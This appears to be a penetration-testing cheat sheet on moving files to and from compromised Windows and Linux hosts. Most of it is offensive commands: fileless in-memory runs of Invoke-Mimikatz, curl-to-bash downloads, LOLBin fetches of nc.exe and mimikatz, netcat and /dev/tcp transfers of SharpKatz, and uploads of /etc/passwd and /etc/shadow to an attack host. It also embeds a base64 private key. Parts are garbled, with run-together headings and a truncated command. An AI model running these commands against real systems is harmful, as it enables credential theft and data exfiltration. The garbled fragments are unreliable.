Encode SSH Key to Base64
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFsd0FBQUFkemMyZ3RjbgpOaEFBQUFBd0VBQVFBQUFJRUF6WjE0dzV1NU9laHR5SUJQSkg3Tm9Yai84YXNHRUcxcHpJbmtiN2hIMldRVGpMQWRYZE9kCno3YjJtd0tiSW56VmtTM1BUR3ZseGhDVkRRUmpBYzloQ3k1Q0duWnlLM3U2TjQ3RFhURFY0YUtkcXl0UTFUQXZZUHQwWm8KVWh2bEo5YUgxclgzVHUxM2FRWUNQTVdMc2JOV2tLWFJzSk11dTJONkJoRHVmQThhc0FBQUlRRGJXa3p3MjFwTThBQUFBSApjM05vTFhKellRQUFBSUVBeloxNHc1dTVPZWh0eUlCUEpIN05vWGovOGFzR0VHMXB6SW5rYjdoSDJXUVRqTEFkWGRPZHo3CmIybXdLYkluelZrUzNQVEd2bHhoQ1ZEUVJqQWM5aEN5NUNHblp5SzN1Nk40N0RYVERWNGFLZHF5dFExVEF2WVB0MFpvVWgKdmxKOWFIMXJYM1R1MTNhUVlDUE1XTHNiTldrS1hSc0pNdXUyTjZCaER1ZkE4YXNBQUFBREFRQUJBQUFBZ0NjQ28zRHBVSwpFdCtmWTZjY21JelZhL2NEL1hwTlRsRFZlaktkWVFib0ZPUFc5SjBxaUVoOEpyQWlxeXVlQTNNd1hTWFN3d3BHMkpvOTNPCllVSnNxQXB4NlBxbFF6K3hKNjZEdzl5RWF1RTA5OXpodEtpK0pvMkttVzJzVENkbm92Y3BiK3Q3S2lPcHlwYndFZ0dJWVkKZW9VT2hENVJyY2s5Q3J2TlFBem9BeEFBQUFRUUNGKzBtTXJraklXL09lc3lJRC9JQzJNRGNuNTI0S2NORUZ0NUk5b0ZJMApDcmdYNmNoSlNiVWJsVXFqVEx4NmIyblNmSlVWS3pUMXRCVk1tWEZ4Vit0K0FBQUFRUURzbGZwMnJzVTdtaVMyQnhXWjBNCjY2OEhxblp1SWc3WjVLUnFrK1hqWkdqbHVJMkxjalRKZEd4Z0VBanhuZEJqa0F0MExlOFphbUt5blV2aGU3ekkzL0FBQUEKUVFEZWZPSVFNZnQ0R1NtaERreWJtbG1IQXRkMUdYVitOQTRGNXQ0UExZYzZOYWRIc0JTWDJWN0liaFA1cS9yVm5tVHJRZApaUkVJTW84NzRMUkJrY0FqUlZBQUFBRkhCc1lXbHVkR1Y0ZEVCamVXSmxjbk53WVdObEFRSURCQVVHCi0tLS0tRU5EIE9QRU5TU0ggUFJJVkFURSBLRVktLS0tLQo="))Confirming the MD5 Hashes Match
C:\Users\Public\id_rsa -Algorithm md5| Method | Method |
|---|---|
| OpenRead | Returns the data from a resource as a Stream. |
| OpenReadAsync | Returns the data from a resource without blocking the calling thread. |
| DownloadData | Downloads data from a resource and returns a Byte array. |
| DownloadDataAsync | Downloads data from a resource and returns a Byte array without blocking the calling thread. |
| DownloadFile | Downloads data from a resource to a local file. |
| DownloadFileAsync | Downloads data from a resource to a local file without blocking the calling thread. |
| DownloadString | Downloads a String from a resource and returns a String. |
| DownloadStringAsync | Downloads a String from a resource without blocking the calling thread. |
PowerShell DownloadFile Method
We can specify the class name Net.WebClient and the method DownloadFile with the parameters corresponding to the URL of the target file to download and the output file name.
File Download
# Example: (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')
# Example: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
(New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'PowerViewAsync.ps1')PowerShell DownloadString - Fileless Method
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')IEX also accepts pipeline input.
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEXPowerShell Invoke-WebRequest
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1Common Errors with PowerShell There may be cases when the Internet Explorer first-launch configuration has not been completed, which prevents the download.
This can be bypassed using the parameter -UseBasicParsing.
Invoke-WebRequest https://<ip>/PowerView.ps1 | IEX Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again. Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX
Another error in PowerShell downloads is related to the SSL/TLS secure channel if the certificate is not trusted. We can bypass that error with the following command:
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}Create the SMB Server
sudo impacket-smbserver share -smb2support /tmp/smbshareTo download a file from the SMB server to the current working directory, we can use the following command:
Copy a File from the SMB Server
copy \\192.168.220.133\share\nc.exeNew versions of Windows block unauthenticated guest access, as we can see in the following command:
copy \\192.168.220.133\share\nc.exeCreate the SMB Server with a Username and Password
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password testMount the SMB Server with Username and Password
net use n: \\192.168.220.133\share /user:test testNote: You can also mount the SMB server if you receive an error when you use `copy filename \\IP\sharename`.
Installing the FTP Server Python3 Module - pyftpdlib
sudo python3 -m pyftpdlib --port 21Transfering Files from an FTP Server Using PowerShell
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')Create a Command File for the FTP Client and Download the Target File
C:\> echo open 192.168.49.128 > ftpcommand.txt
C:\> echo USER anonymous >> ftpcommand.txt
C:\> echo binary >> ftpcommand.txt
C:\> echo GET file.txt >> ftpcommand.txt
C:\> echo bye >> ftpcommand.txt
C:\> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> GET file.txt
ftp> bye
C:\>more file.txt
This is a test fileEncode File Using PowerShell
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))Decode Base64 String in Linux
echo IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQojIHNwYWNlLg0KIw0KIyBBZGRpdGlvbmFsbHksIGNvbW1lbnRzIChzdWNoIGFzIHRoZXNlKSBtYXkgYmUgaW5zZXJ0ZWQgb24gaW5kaXZpZHVhbA0KIyBsaW5lcyBvciBmb2xsb3dpbmcgdGhlIG1hY2hpbmUgbmFtZSBkZW5vdGVkIGJ5IGEgJyMnIHN5bWJvbC4NCiMNCiMgRm9yIGV4YW1wbGU6DQojDQojICAgICAgMTAyLjU0Ljk0Ljk3ICAgICByaGluby5hY21lLmNvbSAgICAgICAgICAjIHNvdXJjZSBzZXJ2ZXINCiMgICAgICAgMzguMjUuNjMuMTAgICAgIHguYWNtZS5jb20gICAgICAgICAgICAgICMgeCBjbGllbnQgaG9zdA0KDQojIGxvY2FsaG9zdCBuYW1lIHJlc29sdXRpb24gaXMgaGFuZGxlZCB3aXRoaW4gRE5TIGl0c2VsZi4NCiMJMTI3LjAuMC4xICAgICAgIGxvY2FsaG9zdA0KIwk6OjEgICAgICAgICAgICAgbG9jYWxob3N0DQo= | base64 -d > hostsmd5sum hosts Installing a Configured WebServer with Upload
pip3 install uploadserverpython3 -m uploadserverPowerShell Script to Upload a File to Python Upload Server
PS C:\> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
PS C:\> Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts
[+] File Uploaded: C:\Windows\System32\drivers\etc\hosts
[+] FileHash: 5E7241D66FD77E9E8EA866B6278B2373PowerShell Base64 Web Upload
PS C:\> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
PS C:\> Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64We catch the base64 data with Netcat and use the base64 application with the decode option to convert the string to the file.
nc -lvnp 8000echo <base64> | base64 -d -w 0 > hostsAn alternative is to run SMB over HTTP with WebDav. WebDAV (RFC 4918) is an extension of HTTP, the internet protocol that web browsers and web servers use to communicate with each other. The WebDAV protocol enables a webserver to behave like a fileserver, supporting collaborative content authoring. WebDAV can also use HTTPS.
When you use SMB, it will first attempt to connect using the SMB protocol, and if there’s no SMB share available, it will try to connect using HTTP. In the following Wireshark capture, we attempt to connect to the file share testing3, and because it didn’t find anything with SMB, it uses HTTP.
Configuring WebDav Server
Installing WebDav Python modules
sudo pip install wsgidav cherootUsing the WebDav Python module
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous Connecting to the Webdav Share
dir \\192.168.49.128\DavWWWRootUploading Files using SMB
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\We can use PowerShell or the FTP client to complete the operation. Before we start our FTP Server using the Python module pyftpdlib, we need to specify the option --write to allow clients to upload files to our attack host.
sudo python3 -m pyftpdlib --port 21 --writePowerShell Upload File
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')Create a Command File for the FTP Client to Upload a File
C:\> echo open 192.168.49.128 > ftpcommand.txt
C:\> echo USER anonymous >> ftpcommand.txt
C:\> echo binary >> ftpcommand.txt
C:\> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
C:\> echo bye >> ftpcommand.txt
C:\> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> PUT c:\windows\system32\drivers\etc\hosts
ftp> byeCheck file md5 hash
md5sum <file>Encode SSH Key to Base65
cat id_rsa | base64 -w 0; echo -w 0 to create only one line
Decode file
echo -n '<id_rsa>' | base64 -d > id_rsaConfirm md5 hashes Match
md5 id_rsaDownloading using wget
wget <url> -O /tmp/<file>Downloading using curl
curl -o <file> <url>Fileless Download with cURL
curl <url> | bashFileless Download with wget
wget -q0- <url> | python3Connect to the Target Webserver
exec 3<>/dev/tcp/<ip>/<port>HTTP Get Request
echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3Print the Response
cat <&3Enabling the SSH Server
sudo systemctl enable sshStarting the SSH Server
sudo systemctl start sshChecking for SSH Listing Port
netstat -lnptDownloading Files Using SCP
scp <user>@<ip>:<file> . Note: You can create a temporary user account for file transfers and avoid using your primary credentials or keys on a remote computer.
As mentioned in the Windows File Transfer Methods section, we can use uploadserver, an extended module of the Python HTTP.Server module, which includes a file upload page.
Create Web Server
sudo python3 -m pip install --user uploadserverCreate a Self-Signed Certificate
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CNStart Web Server
mkdir https && cd httpssudo python3 -m uploadserver 443 --server-certificate /root/server.pemUpload Multiple File
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecureCreating a Web Server with Python3
python3 -m http.serverCreating a Web Server with Python2.7
python2.7 -m SimpleHTTPServerCreating a Web Server with PHP
php -S 0.0.0.0:8000Creating a Web Server with Ruby
ruby -run -ehttpd . -p8000Download the File from the Target Machine onto the Hosts
wget 192.168.49.128:8000/filetotransfer.txtNote: When we start a new web server using Python or PHP, it's important to consider that inbound traffic may be blocked. We are transferring a file from our target onto our attack host, but we are not uploading the file.
File Upload using SCP
scp /etc/passwd <user>@<ip>:/home/plaintext/Note: Remember that scp syntax is similar to cp or copy.
We can use some Windows default applications, such as cscript and mshta, to execute JavaScript or VBScript code. JavaScript can also run on Linux hosts.
Python2 Download
python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'Python3 Download
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'PHP Download with File_get_contents()
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'PHP Download with Fopen()
php -r 'const BUFFER = 1024; $fremote =
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'PHP Download a File and Pipe it to Bash
php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bashRuby Download a File
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));Download a File Using JavaScript and cscript.exe
cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1VBScript (“Microsoft Visual Basic Scripting Edition”) is an Active Scripting language developed by Microsoft that is modeled on Visual Basic. VBScript has been installed by default in every desktop release of Microsoft Windows since Windows 98.
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end withDownload a File Using VBScript and cscript.exe
cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1Upload Operations using Python3
Starting the Python uploadserver Module
python3 -m uploadserver Uploading a File Using a Python One-liner
python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'Let’s divide this one-liner into multiple lines to understand each piece better.
# To use the requests function, we need to import the module first.
import requests
# Define the target URL where we will upload the file.
URL = "http://192.168.49.128:8000/upload"
# Define the file we want to read, open it and save it in a variable.
file = open("/etc/passwd","rb")
# Use a requests POST request to upload the file.
r = requests.post(url,files={"files":file})File Transfer with Netcat and Ncat
# Example using Original Netcat
nc -l -p 8000 > SharpKatz.exeNcat - Compromised Machine - Listening on Port 8000
# Example using Ncat
ncat -l -p 8000 --recv-only > SharpKatz.exeNetcat - Attack Host - Sending File to Compromised machine
wget -q https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe
# Example using Original Netcat
nc -q 0 192.168.49.128 8000 < SharpKatz.exeNcat - Attack Host - Sending File to Compromised machine
wget -q https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe
# Example using Ncat
ncat --send-only 192.168.49.128 8000 < SharpKatz.exeAttack Host - Sending File as Input to Netcat
# Example using Original Netcat
sudo nc -l -p 443 -q 0 < SharpKatz.exeCompromised Machine Connect to Netcat to Receive the File
# Example using Original Netcat
nc 192.168.49.128 443 > SharpKatz.exeAttack Host - Sending File as Input to Ncat
# Example using Ncat
sudo ncat -l -p 443 --send-only < SharpKatz.exeCompromised Machine Connect to Ncat to Receive the File
# Example using Ncat
ncat 192.168.49.128 443 --recv-only > SharpKatz.exeNetCat - Sending File as Input to Netcat
# Example using Original Netcat
sudo nc -l -p 443 -q 0 < SharpKatz.exeNcat - Sending File as Input to Netcat
# Example using Ncat
sudo ncat -l -p 443 --send-only < SharpKatz.exeCompromised Machine Connecting to Netcat Using /dev/tcp to Receive the File
cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exeFrom DC01 - Confirm WinRM port TCP 5985 is Open on DATABASE01.
whoami
ad\administrator
hostname
DC01Test-NetConnection -ComputerName DATABASE01 -Port 5985
ComputerName : DATABASE01
RemoteAddress : 192.168.1.101
RemotePort : 5985
InterfaceAlias : Ethernet0
SourceAddress : 192.168.1.100
TcpTestSucceeded : TrueBecause this session already has privileges over DATABASE01, we don’t need to specify credentials. In the example below, a session is created to the remote computer named DATABASE01 and stores the results in the variable named $Session.
Create a PowerShell Remoting Session to DATABASE01
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\Copy DATABASE.txt from DATABASE01 Session to our Localhost
Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session
If we are connected from Linux, we can use xfreerdp or rdesktop. At the time of writing, xfreerdp and rdesktop allow copy from our target machine to the RDP session, but there may be scenarios where this may not work as expected.
As an alternative to copy and paste, we can mount a local resource on the target RDP server. rdesktop or xfreerdp can be used to expose a local folder in the remote RDP session.
Mounting a Linux Folder Using rdesktop
rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'Mounting a Linux Folder Using xfreerdp
xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransferTo access the directory, we can connect to \\tsclient\, allowing us to transfer files to and from the RDP session.
Alternatively, from Windows, the natie mstsc.exe remote desktop client can be used.
Note: This drive is not accessible to any other users logged on to the target computer, even if they manage to hijack the RDP session.
Nginx - Enabling PUT
When allowing HTTP uploads, it is critical to be 100% positive that users cannot upload web shells and execute them. Apache makes it easy to shoot ourselves in the foot with this, as the PHP module loves to execute anything ending in PHP. Configuring Nginx to use PHP is nowhere near as simple.
Create a Directory to Handle Uploaded Files
sudo mkdir -p /var/www/uploads/SecretUploadDirectoryChange the Owner to www-data
sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectoryCreate Nginx Configuration File
server {
listen 9001;
location /SecretUploadDirectory/ {
root /var/www/uploads;
dav_methods PUT;
}
}Symlink our Site to the sites-enabled Directory
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/Start Nginx
sudo systemctl restart nginx.serviceIf we get any error messages, check /var/log/nginx/error.log. If using Pwnbox, we will see port 80 is already in use.
Verifying Errors
tail -2 `/var/log/nginx/error.log`ss -lnpt | grep `80`ps -ef | grep `2811`Remove NginxDefault Configuration
sudo rm /etc/nginx/sites-enabled/defaultNow we can test uploading by using cURL to send a PUT request. In the below example, we will upload the /etc/passwd file to the server and call it users.txt
Upload File Using cURL
curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txttail -1 /var/www/uploads/SecretUploadDirectory/users.txt Once we have this working, a good test is to ensure the directory listing is not enabled by navigating to http://localhost/SecretUploadDirectory. By default, with Apache, if we hit a directory without an index file (index.html), it will list all the files. This is bad for our use case of exfilling files because most files are sensitive by nature, and we want to do our best to hide them. Thanks to Nginx being minimal, features like that are not enabled by default.
The term LOLBins (Living off the Land binaries) came from a Twitter discussion on what to call binaries that an attacker can use to perform actions beyond their original purpose. There are currently two websites that aggregate information on Living off the Land binaries:
Living off the Land binaries can be used to perform functions such as:
- Download
- Upload
- Command Execution
- File Read
- File Write
- Bypasses
Invoke-AESEncryption.ps1
.EXAMPLE
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Text "Secret Text"
Description
-----------
Encrypts the string "Secret Test" and outputs a Base64 encoded ciphertext.
.EXAMPLE
Invoke-AESEncryption -Mode Decrypt -Key "p@ssw0rd" -Text "LtxcRelxrDLrDB9rBD6JrfX/czKjZ2CUJkrg++kAMfs="
Description
-----------
Decrypts the Base64 encoded string "LtxcRelxrDLrDB9rBD6JrfX/czKjZ2CUJkrg++kAMfs=" and outputs plain text.
.EXAMPLE
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Path file.bin
Description
-----------
Encrypts the file "file.bin" and outputs an encrypted file "file.bin.aes"
.EXAMPLE
Invoke-AESEncryption -Mode Decrypt -Key "p@ssw0rd" -Path file.bin.aes
Description
-----------
Decrypts the file "file.bin.aes" and outputs an encrypted file "file.bin"
#>
function Invoke-AESEncryption {
[CmdletBinding()]
[OutputType([string])]
Param
(
[Parameter(Mandatory = $true)]
[ValidateSet('Encrypt', 'Decrypt')]
[String]$Mode,
[Parameter(Mandatory = $true)]
[String]$Key,
[Parameter(Mandatory = $true, ParameterSetName = "CryptText")]
[String]$Text,
[Parameter(Mandatory = $true, ParameterSetName = "CryptFile")]
[String]$Path
)
Begin {
$shaManaged = New-Object System.Security.Cryptography.SHA256Managed
$aesManaged = New-Object System.Security.Cryptography.AesManaged
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
}
Process {
$aesManaged.Key = $shaManaged.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key))
switch ($Mode) {
'Encrypt' {
if ($Text) {$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($Text)}
if ($Path) {
$File = Get-Item -Path $Path -ErrorAction SilentlyContinue
if (!$File.FullName) {
Write-Error -Message "File not found!"
break
}
$plainBytes = [System.IO.File]::ReadAllBytes($File.FullName)
$outPath = $File.FullName + ".aes"
}
$encryptor = $aesManaged.CreateEncryptor()
$encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length)
$encryptedBytes = $aesManaged.IV + $encryptedBytes
$aesManaged.Dispose()
if ($Text) {return [System.Convert]::ToBase64String($encryptedBytes)}
if ($Path) {
[System.IO.File]::WriteAllBytes($outPath, $encryptedBytes)
(Get-Item $outPath).LastWriteTime = $File.LastWriteTime
return "File encrypted to $outPath"
}
}
'Decrypt' {
if ($Text) {$cipherBytes = [System.Convert]::FromBase64String($Text)}
if ($Path) {
$File = Get-Item -Path $Path -ErrorAction SilentlyContinue
if (!$File.FullName) {
Write-Error -Message "File not found!"
break
}
$cipherBytes = [System.IO.File]::ReadAllBytes($File.FullName)
$outPath = $File.FullName -replace ".aes"
}
$aesManaged.IV = $cipherBytes[0..15]
$decryptor = $aesManaged.CreateDecryptor()
$decryptedBytes = $decryptor.TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16)
$aesManaged.Dispose()
if ($Text) {return [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Trim([char]0)}
if ($Path) {
[System.IO.File]::WriteAllBytes($outPath, $decryptedBytes)
(Get-Item $outPath).LastWriteTime = $File.LastWriteTime
return "File decrypted to $outPath"
}
}
}
}
End {
$shaManaged.Dispose()
$aesManaged.Dispose()
}
}Import Module Invoke-AESEncryption.ps1
Import-Module .\Invoke-AESEncryption.ps1After the script is imported, it can encrypt strings or files, as shown in the following examples. This command creates an encrypted file with the same name as the encrypted file but with the extension ”.aes.”
File Encryption Example
Invoke-AESEncryption -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txtTo encrypt a file using openssl we can select different ciphers, see OpenSSL man page. Let’s use -aes256 as an example. We can also override the default iterations counts with the option -iter 100000 and add the option -pbkdf2 to use the Password-Based Key Derivation Function 2 algorithm. When we hit enter, we’ll need to provide a password.
Encrypting /etc/passwd with openssl
openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.encDecrypt passwd.enc with openssl
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwdInvoke-WebRequest - Client
Invoke-WebRequest http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"
Invoke-RestMethod http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"Invoke-WebRequest - Server
GET /nc.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.0
WinHttpRequest - Client
$h=new-object -com WinHttp.WinHttpRequest.5.1;
$h.open('GET','http://10.10.10.32/nc.exe',$false);
$h.send();
iex $h.ResponseText
WinHttpRequest - Server
GET /nc.exe HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Msxml2 - Client
$h=New-Object -ComObject Msxml2.XMLHTTP;
$h.open('GET','http://10.10.10.32/nc.exe',$false);
$h.send();
iex $h.responseTextMsxml2 - Server
GET /nc.exe HTTP/1.1 Accept: */* Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)
Certutil - Client
certutil -urlcache -split -f http://10.10.10.32/nc.exe
certutil -verifyctl -split -f http://10.10.10.32/nc.exe
Certutil - Server
GET /nc.exe HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Accept: */* User-Agent: Microsoft-CryptoAPI/10.0
BITS - Client
Import-Module bitstransfer; Start-BitsTransfer 'http://10.10.10.32/nc.exe' $env:temp\t; $r=gc $env:temp\t; rm $env:temp\t; iex $r
BITS - Server
HEAD /nc.exe HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Encoding: identity User-Agent: Microsoft BITS/7.8
Listing out User Agents
[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | flInvoking Invoke-WebRequest to download nc.exe using a Chrome User Agent:
Request with Chrome User Agent
$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"nc -lvnp 80LOLBAS / GTFOBins
Transferring File with GfxDownloadWrapper.exe
GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"| Command | Description |
|---|---|
| <a href=”Invoke-WebRequest https:///PowerView.ps1 -OutFile PowerView.ps1”>Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1 | Download a file with PowerShell |
| <a href=”IEX (New-Object Net.WebClient).DownloadString(‘https:///Invoke-Mimikatz.ps1’)”>IEX (New-Object Net.WebClient).DownloadString(‘https://<snip>/Invoke-Mimikatz.ps1’) | Execute a file in memory using PowerShell |
| Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64 | Upload a file with PowerShell |
| bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe | Download a file using Bitsadmin |
| certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe | Download a file using Certutil |
| wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh | Download a file using Wget |
| curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | Download a file using cURL |
| <a href=”php -r ‘$file = file_get_contents(“https:///LinEnum.sh”); file_put_contents(“LinEnum.sh”,$file);’”>php -r ‘$file = file_get_contents(“https://<snip>/LinEnum.sh”); file_put_contents(“LinEnum.sh”,$file);’ | Download a file using PHP |
| scp C:\Temp\bloodhound.zip user@10.10.10.150:/tmp/bloodhound.zip | Upload a file using SCP |
| scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe | Download a file using SCP |
| [[Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile “nc.exe”]] | Invoke-WebRequest using a Chrome User Agent |